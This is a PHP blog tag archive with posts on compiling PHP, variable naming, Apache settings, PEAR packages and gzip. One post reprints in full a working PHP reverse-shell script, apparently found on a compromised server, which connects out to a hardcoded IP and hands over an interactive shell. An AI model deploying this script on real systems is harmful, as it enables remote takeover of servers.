Archive

Posts Tagged ‘PHP’

Webcast: Database Sharding at Netlog with MySQL and PHP

April 29th, 2009

An interesting Webcast has just popped up, on MySQL’s usage in one of the biggest databases online: Netlog.

Netlog, one of the fastest-growing Web communities in Europe, need to ensure its database infrastructure will scale to handle its traffic increase of 300% last year. The company has 40 million registered members generating more than 6 billion page views every month. Sharding is a technique used for horizontal scaling of databases that Netlog is using.

Jurriaan Persyn, Lead Web Developer at Netlog, will be presenting frontend technologies to develop and improve the features of Netlog’s social network. If you’re interested in high performance, scalability, MySQL, PHP, caching, partitioning, Sphinx, federation or Netlog – join this webinar!

WHO:
Jurriaan Persyn, Lead Web Developer at Netlog

WHAT:
Database Sharding at Netlog with MySQL and PHP web presentation.

WHERE:
Simply access the web seminar from the comfort of your own office.

WHEN:
Wednesday, May 13th at 15:00 Central European Time (Brussels, Stockholm)
14:00 Western European Time (London)
16:00 Eastern European Time (Helsinki)
The presentation will be approximately 45 minutes long and will be followed by Q&A.

You can subscribe for this webcast here: http://www.mysql.com/news-and-events/web-seminars/display-334.html

Matti Tech , , , ,

Compiling PHP With “–with-jpeg-dir” Not Working?

April 10th, 2009

Had this strange issue a couple of days ago, where the following compile command didn’t give me the expected results (ability to use imagecreatefromjpeg() function). 

./configure --with-gd --with-jpeg-dir=/usr/lib
make
make test

The “make test” yielded the following results.

SKIP gif –> jpeg conversion test [ext/gd/tests/gif2jpg.phpt] reason: jpeg support unavailable
SKIP jpeg <–> png conversion test [ext/gd/tests/jpeg2png.phpt] reason: jpeg support unavailable
SKIP jpeg <–> gd1/gd2 conversion test [ext/gd/tests/jpg2gd.phpt] reason: jpeg support unavailable

Not exactly what I expected, because the libjpeg library existed in /usr/lib/libjpeg.so. Here’s what managed to fix it, running a “make clean” first, and changing the order of the “–with-gd” and “–with-jpeg-dir” parameters.

make clean
./configure --with-jpeg-dir=/usr/lib --with-gd
make
make test

And a make test now passes on the jpeg!

PASS gif –> jpeg conversion test [ext/gd/tests/gif2jpg.phpt]
PASS jpeg <–> png conversion test [ext/gd/tests/jpeg2png.phpt]
PASS jpeg <–> gd1/gd2 conversion test [ext/gd/tests/jpg2gd.phpt]

Tricky bugger this was …

Matti PHP , , , ,

On The Subject Of Naming Variables

March 22nd, 2009

It happens to everyone. You’re typing hundreds and thousands of lines of code, and you suddenly find yourself stuck. You need to come up with the name of a new variable, and you can’t find one. It’s something so incredibly easy, yet you can’t think of a name for it.

That’s because deep down, you _know_ it’s not easy. You know this variable will come back to haunt you weeks later when you’re maintaining the code, and forgot what data it held. While there’s nothing as easy as naming all variables $a, $b, $c, … it just doesn’t cut it in the long term.

Let’s kick it off with some wrongfully named variable examples. Don’t use overly descriptive words in variable names. While the content of the variable may change, the variable’s name usually doesn’t. Take the following CSS snippet.

.left_content_green {
	color: green;
	padding: 5px;
}

While this might seem like a good idea, it’s really not. Since CSS is ment as a way to manage your site’s layout & mark-up in a centralized place, changing styles, content, … is a piece-of-cake through a couple of CSS files. But naming your class “left_content_green” will make it horribly complicated to maintain once you decide to change its color to red. You’re only supposed to change it in the CSS, not change the class name inside your project. Now your class called “left_content_green” is causing your content to turn red.

Be clear. While it may sound simple, clean and easy variable names apparently don’t come easy. Consider the following two pieces of code. Both perform the same action, yet one of them is remarkably easier to read & manage .

while (!$notRunning) {
	// Do something, until completed
}
 
while ($running) {
	// Do something, until completed
}

The first while-loop can cause confusion. A double negative (“while not NotRunning, do this”) will add complexity where it’s not needed. The second loop, stating “while running, do this” is both easier to understand, and to write.

Keep your variable name, datatype & content aligned. This mostly holds true for loosely defined languages, such as PHP, where you can change the datatype of a variable on-the-fly, without problems. Just don’t do this, for _whatever_ reason there might be (and I’ve seen this happen all too often).

// Start the script
$intStartingNumber = 5;
for ($i = 0; $i < $intStartingNumber; $i++) {
	echo $i;
}
 
// Add 15k+ lines of code ...
 
// Hey look, a variable $intStartingNumber that we haven't used in a while
$intStartingNumber = "five";
for ($j = 0; $j < 5; $j++) {
	echo $intStartingNumber;
}

If you don’t recognise the scenario above, consider yourself lucky. It’s a common mistake found in almost every PHP script. If you reuse your variable (which is fine – don’t get me wrong), make sure the variable is atleast still named properly.

Matti PHP , , ,

‘php_admin_value’ Bug When Overwriting PHP Settings

March 7th, 2009

If you want to overwrite certain settings for a particular directory, you can either use a .htaccess file or edit the apache config file. One of those changes, could be to alter the include_path for PHP for certain projects. Normally, you’d do this.

<Directory “/var/www/vhosts/xxx/httpdocs/”>
        php_admin_value include_path “/var/www/<loc>/:/usr/share/pear/:/tmp/”
</Directory>

You might run into some unexpected results, where the include_path isn’t actually changed, and the files you’re trying to include aren’t being included.

Try changing it to this.

<Directory “/var/www/vhosts/xxx/httpdocs/”>
        php_value include_path “/var/www/<loc>/:/usr/share/pear/:/tmp/”
</Directory>

There’s currently a known bug (#43677 [resolved]) that causes unexpected results when using the php_admin_value. A quick fix is changing this to php_value. Release 5.2.6 made a permanent fix for this, but not every commercial hoster or commercial controlpanel immediately updates to the latest release. If you see strange behaviour for PEAR packages that aren’t being included, despite setting the include_path correctly – this might be the reason.

Matti PHP , , ,

Reverse Shell Implementation in PHP5

March 3rd, 2009

Here’s a very interesting PHP script found on a compromised Linux box. I won’t discuss how it got there (using/abusing exploits is not in the scope of this post, and shouldn’t be discussed in comments either).

Original credits for the author.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

And now for the script itself. Let the magic begin!

set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxx.xxx.xxx.xxx';  // CHANGE THIS
$port = 8080;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
 
//
// Daemonise ourself if possible to avoid zombies later
//
 
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
 
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
 
	if ($pid) {
		exit(0);  // Parent exits
	}
 
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
 
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
//
// Do the reverse shell...
//
 
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
 
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$stringn";
	}
}
 
?>

It shows interesting usage of process forking and output/input stream usage. All credits go to the original creator, his info can be found inside the script or on his website.

Matti PHP , , ,

Input Validation: Using filter_var() Over Regular Expressions

February 7th, 2009

Just about the biggest time-sink on any project, is the amount of input validation that needs to be done. You _have_ to assume your visitor is a maniac serial killer, out to destroy your application. And you have to prevent it.

Thus starts our never-ending battle for user input validation. We can’t allow it all (think XSS or SQL Injection), so we check every value presented to us. Correct e-mail formats, IP’s, integers, HTML-code, …. Read more…

Matti PHP , , ,

PEAR:: Classes Worthy Of Attention

January 26th, 2009

PEAR offers an excellent framework for re-usable PHP components. A wide range of PEAR classes is available, from XML Parsers to Captcha’s and Mail components.

They’re all easy to install, and have extensive documentation available so you can get started right away. Here’s a list of some of the better, and probably lesser known ones.

  • PEAR::Mail
    PEAR’s Mail package defines an interface for implementing mailers under the PEAR hierarchy. It also provides supporting functions useful to multiple mailer backends. Currently supported backends include: PHP’s native mail() function, sendmail, and SMTP. This package also provides a RFC822 email address list validation utility class.
  • PEAR::XML_Parser
    This is an XML parser based on PHPs built-in xml extension. It supports two basic modes of operation: “func” and “event”. In “func” mode, it will look for a function named after each element (xmltag_ELEMENT for start tags and xmltag_ELEMENT_ for end tags), and in “event” mode it uses a set of generic callbacks.
  • PEAR::MIME_Type
    Provide functionality for dealing with MIME types, such as auto-detecting MIME type on files.
  • PEAR::Net_Socket
    Net_Socket is a class interface to TCP sockets. It provides blocking and non-blocking operation, with different reading and writing modes (byte-wise, block-wise, line-wise and special formats like network byte-order ip addresses). It provides the base class for other popular PEAR-classes such as Net_SMTP and HTTP_Request.
  • PEAR::Archive_Tar
    This class provides handling of tar files in PHP.
    It supports creating, listing, extracting and adding to tar files. Gzip support is available if PHP has the zlib extension built-in or loaded. Bz2 compression is also supported with the bz2 extension loaded.

The list of available packages goes on for miles, and includes a Facebook package, a Number-to-Words convertor, Command line Argument Parser, CAPTCHA generator, Barcode Generator, … Too much to mention!

For installation instructions, I’ll refer you to the following two posts:

I’m interested to know what PEAR packages you’re using, and why. Where do you draw the line between writing your own classes, and switching to PEAR’s?

Matti PHP ,

Install New PEAR Packages From The Linux CLI

January 24th, 2009

I previously wrote about how to Enable Pear Packages when using Plesk, here’s how to do it when you run your own LAMP stack.

First up, see if the PEAR management tool is already installed (the  command pear should be available).

mattias-laptop ~ # pear
The program ‘pear’ is currently not installed.  You can install it by typing:
apt-get install php-pear

If it’s not, simply install the package by issueing the command suggested.

mattias-laptop ~ # apt-get install php-pear
Reading package lists… Done
Building dependency tree
Reading state information… Done
….
Setting up php-pear (5.2.6-2ubuntu4) …

After installation of the management tool is completed, you can quickly install new PEAR packages like this.

pear install PackageName

A useful hint is that the Pear Packages which are missing, can be easily installed by typing in the full packagename. Here’s an example.

mattias-laptop # php -q test.php
Warning: require_once(Console/Getargs.php): failed to open stream: No such file or directory in /var/www/test/test.php on line 36

Fatal error: require_once(): Failed opening required ‘Console/Getargs.php’ (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/test/test.php on line 36

The missing PEAR package “Console/Getargs.php” can be installed like this.

pear install Console_Getargs

Just replace each folder within the PEAR class by an underscore, leave out the “.php” extension, and you can install any PEAR package you want. That’s good news, because there are a lot of very useful PEAR packages around!

Matti PHP , ,

Save Bandwidth – Enable GZip Compression In PHP

December 22nd, 2008

GZip is a formidable way to save up on bandwidth, without hindering your users. It allows any script to pass its content by the compression tool first, before being sent out. The receiver will then receive the compressed file, and unpack it to show its content.

Browsers that don’t support GZip will automatically fall back to the normal way of sending out content: unzipped.

It’s a win-win situation. You save bandwidth, and don’t bother your users. So, let’s enable it. Read more…

Matti PHP , , , ,

URL file-access is disabled in the server configuration

November 11th, 2008

When opening external URL’s through PHP, you might stumble upon the dreaded “URL file-access is disabled in the server configuration”-error message.

It just means that remote access was disabled in the server configuration, so you can’t load external files (say: images, text files, xml files, …). If the server allows you to override the server configuration in PHP scripts, you can do the following on top of the page you’re experiencing this problem.

<?php
ini_set('allow_url_fopen', 'on');
// .....
?>

If that’s not allowed, you can change this setting in the php.ini file, maintained by your server administrator.

/*;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
 
; Whether to allow the treatment of URLs (like http:// or ftp://) as files. */
allow_url_fopen = On

In most cases however, this won’t be allowed. You could try functions such as file_get_contents(), and parse the result afterwards – to have a similar working method such as fopen().

Matti PHP , , , ,